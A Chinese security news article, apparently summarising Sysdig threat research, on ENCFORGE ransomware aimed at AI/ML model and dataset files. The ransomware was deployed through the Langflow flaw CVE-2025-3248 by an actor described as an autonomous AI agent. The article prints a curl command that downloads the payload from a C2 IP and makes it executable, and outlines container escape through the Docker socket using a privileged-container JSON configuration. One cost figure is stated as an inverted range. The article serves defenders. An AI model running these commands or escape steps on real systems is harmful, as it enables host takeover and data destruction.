乐于分享
好东西不私藏

ENCFORGE勒索软件横空出世:专杀AI模型的数据灭霸

ENCFORGE勒索软件横空出世:专杀AI模型的数据灭霸

导语:安全研究机构Sysdig近日捕获一起针对AI基础设施的攻击行动:攻击者利用Langflow未授权RCE漏洞CVE-2025-3248(CVSS 9.8)入侵目标后,部署专门针对AI模型的ENCFORGE勒索软件。该软件以约180种AI/ML文件格式为目标,单个生产级模型的重建成本高达75万至50万美元。国内AI创业公司和AI基础设施团队应高度警惕。


一、攻击者是谁:JADEPUFFER的第二次出手

这次攻击的幕后黑手,与今年7月初Sysdig首次曝光的JADEPUFFER(玉蝶)属同一组织。

JADEPUFFER是一个AI代理驱动的威胁行为者(ATA),能够自主完成侦察、凭据收割、横向移动和破坏性勒索的完整攻击链。7月1日,该组织首次对Langflow发起攻击,利用同样的CVE-2025-3248漏洞进入系统后,用Python脚本和MySQL的AES_ENCRYPT函数对Nacos(阿里巴巴配置服务器)和生产数据库进行加密和销毁。

首次攻击后仅三周,JADEPUFFER重返同一Langflow实例,但工具已全面升级: improvised的临时脚本换成了编译好的Go勒索软件ENCFORGE,目标从数据库直接指向AI模型资产。

Sysdig威胁研究团队(TRT)指出,两次攻击使用同一个勒索联系邮箱 e78393397@proton.me,这是目前最强的人员归属证据。


二、入侵路径:CVE-2025-3248成持久入口

整个攻击链的起点没有变化:Langflow 1.3.0之前版本未对 /api/v1/validate/code 接口做身份验证,允许任意远程攻击者直接在服务器上执行Python代码。

该漏洞(CVE-2025-3248)CVSS评分高达9.8,已于2025年5月5日被列入CISA已知被利用漏洞目录(KEV),至今仍是JADEPUFFER历次攻击活动的统一入口。

Langflow之所以是理想的攻击跳板,源于其本身的定位:它是一个广泛部署的开源LLM应用编排框架,运行环境中通常配置了各大语言模型提供商的API密钥、云服务商凭据,以及向量数据库和对象存储的连接信息。从Langflow的环境变量和后端Postgres数据库中,攻击者可以批量收割这些高价值凭据。


三、ENCFORGE详解:专为AI基础设施打造的勒索软件

3.1 定位与覆盖范围

Sysdig研究人员从攻击者的命令控制服务器取回了ENCFORGE二进制样本。核心特征如下:

属性
文件名
.lockd(点文件规避目录扫描)
打包方式
UPX 5.20
编译语言
Go 1.22.12(静态链接)
内部项目名
encfile
配套工具名
keyforge(密钥生成器)
哈希(已打包)
8cb0c223b018cecef1d990ec81c67b826eb3c30d54f06193cf69969e9a8baea2
哈希(未打包)
ea7822eac6cecef7746c606b862b4d3034856caf754c4cf69533662637905328
AV检测率
0(打包/未打包均无检测)

ENCFORGE的目标文件扩展名列表约含180种,完整覆盖现代AI/ML技术栈:

模型格式与检查点.ckpt(TensorFlow/PyTorch检查点)、.h5(Keras/TensorFlow HDF5)、.onnx(ONNX交换格式)、.pb(TensorFlow protobuf)、.pkl/.pickle(Python序列化模型)、.pt/.pt2/.pth(PyTorch)、.safetensors(HuggingFace安全张量格式)、.ggml/.gguf(llama.cpp量化格式,本地部署LLM的主流格式)、.model

向量数据库与索引faiss(Facebook AI相似度搜索索引,广泛用于embedding检索)

训练数据集与列式数据arrow/.feather(Apache Arrow格式)、.parquet(大规模训练数据集主流格式)、.tfrecord(TensorFlow训练管道输入格式)、.npy/.npz(NumPy数组)、.vec(word2vec/fastText词向量)、.duckdb(数据科学与ML管道分析数据库)

开发者格式(体现macOS/跨平台意识):.keychain/.keychain-db(macOS钥匙串凭据库)、.xcodeproj(Xcode项目文件)、.pages/.numbers(苹果生产力格式)

更关键的是,ENCFORGE内置了 --include 参数,允许攻击者在运行时追加自定义文件匹配模式。其内置帮助文本以 LoRA微调适配器文件(*lora)和旧版GGML模型权重(*ggjt)作为示例——这绝非通用文件加密器的偶然覆盖,而是明确针对AI环境的定制设计。

3.2 加密机制

ENCFORGE使用AES-256-CTR模式加密文件数据,每运行一次生成新的对称密钥,用编译进二进制文件的RSA-2048公钥对该密钥进行封装。不加密完整文件,而是选择性加密文件中的特定数据块——这是LockBit和BlackCat等顶级勒索软件组织使用的速度优化策略。

加密后的文件重命名为 .locked 后缀。勒索信以 READMEHOW_TO_DECRYPT 和 README_DECRYPT 三个文件形式释放,勒索联系邮箱为 e78393397@proton.me(与上次JADEPUFFER攻击完全一致)。

值得注意的是,ENCFORGE没有数据外传功能——二进制文件中完全没有网络通信代码、云存储客户端或暂存机制。Sysdig在观察期间未发现数据外泄、暗网泄露站点或Tor支付门户的迹象。攻击者唯一的筹码,就是那些被加密的AI模型和数据。


四、容器逃逸:五分半钟六次迭代拿到宿主机root

攻击者进入Langflow容器后,首先进行标准的后渗透操作:确认代码执行(iduname -mhostname),然后全面扫描环境中的凭据——云服务商密钥、数据库连接字符串、API令牌。它通过 /dev/tcp 探测内部服务可达性,并将已获取的凭据对内部数据库和缓存服务进行重放测试。

随后,攻击者发现了 /var/run/docker.sock——这是整个攻击链的关键转折点。对Docker socket的写权限等同于宿主机root权限:任何能向其写入的进程都可以指示Docker守护进程创建一个特权容器,将宿主机文件系统挂载进去,然后利用该容器在原始容器命名空间之外的任意位置读写。

攻击者最初尝试直接通过curl从C2服务器下载ENCFORGE:

curl -m30 -o /tmp/.sk/lockd http://34.153.223.102:9191/lockd && chmod +x

但下载失败。攻击者没有放弃,而是改变了策略——如果二进制无法从容器内下载,就通过容器的proc文件系统穿过命名空间边界,直接把文件从容器复制到宿主机上运行。

接下来的5分24秒内,攻击者通过同一Langflow RCE通道编写并迭代了六个Python脚本,逐步解决容器逃逸的技术难题:

时间
文件
改进内容
12:07:01
do.py v1
基准curl --unix-socket封装
12:07:25 (+24秒)
do.py v2
添加通过/proc//root复制;移除通用exec
12:08:08
ns.py
共享exec_in_bigrun()辅助函数;硬编码PID 4242
12:08:39
x.py
每个命令一个一次性容器
12:09:01
h.py
原始AF_UNIX socket HTTP客户端;无subprocess依赖
12:10:04
deploy.py v1
通过Docker API动态发现宿主机PID;复制+try-run
12:12:25 (+2分24秒)
deploy.py v2
添加live --lock运行和运行后验证

最终payload(deploy.py v2)的工作流程:首先通过Docker API发现目标进程PID,然后通过特权逃逸容器将ENCFORGE从容器procfs复制到宿主机本地目录,再用nsenter进入宿主机的PID和网络命名空间执行勒索软件。

逃逸容器配置:```json {   "Image": "registry.internal/app:2.3.1",   "HostConfig": {     "Binds": ["/:/host:rw"],     "Privileged": true,     "PidMode": "host",     "NetworkMode": "host"   } }Privilege: true + PidMode: host + NetworkMode: host + 根文件系统以读写模式挂载——这就是完整的宿主机root。

执行步骤:

先 `--try-run` 扫描文件系统,

再 `--lock` 进行实际加密,

最后检查 `.locked` 文件数量验证执行结果。

 `--task-id gcp_h1` 参数表明攻击者将此节点作为GCP目标纳入更大规模的舰队campaign进行追踪。

整个过程最令人警惕的并非最终结果,而是攻击者展现出的自主适应能力:当首选攻击路径(curl下载二进制)被阻断时,它在5分钟内自动切换到完全不同的技术路线(通过Docker socket构建容器逃逸通道)。这不是脚本小子的小聪明,而是目标导向的自主决策。